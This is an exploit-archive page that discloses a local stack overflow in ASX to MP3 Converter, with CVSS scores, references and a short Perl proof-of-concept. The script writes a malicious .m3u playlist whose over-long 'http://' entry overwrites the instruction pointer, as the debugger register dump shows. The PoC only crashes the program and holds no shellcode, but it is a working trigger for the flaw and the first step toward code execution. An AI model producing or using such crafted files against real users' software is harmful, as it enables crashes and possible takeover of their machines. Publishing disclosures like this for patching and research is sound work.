ASX to MP3 Converter (.M3U File) Local Stack Overflow PoC

2009.04.19
Credit: Cyber-Zone
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/perl # # # ************************************************************************ # * ASX to MP3 Converter (.M3U File) Local Stack Overflow POC * # ************************************************************************ # # Found By : Cyber-Zone (ABDELKHALEK) # E-mail : Paradis_des_fous@hotmail.fr # Home : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM # Greetz : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com # # Download product : http://www.rm-to-mp3.net/downloads/ASXtoMP3Converter.exe # # # Olly registers #EAX 00000001 #ECX 41414141 #EDX 00D30000 #EBX 00333ED8 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u" #ESP 000F6C90 #EBP 000FBFB4 #ESI 77C2FCE0 msvcrt.77C2FCE0 #EDI 00006619 #EIP 41414141 # my $Header = "#EXTM3U\n"; my $ex="http://"."A" x 26121;# just Poc tested under MS windows SP2 Fr open(MYFILE,'>>KHAL.m3u'); print MYFILE $Header.$ex; close(MYFILE);

References:

http://www.milw0rm.com/exploits/8412
http://www.milw0rm.com/exploits/8407
http://secunia.com/advisories/34681


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top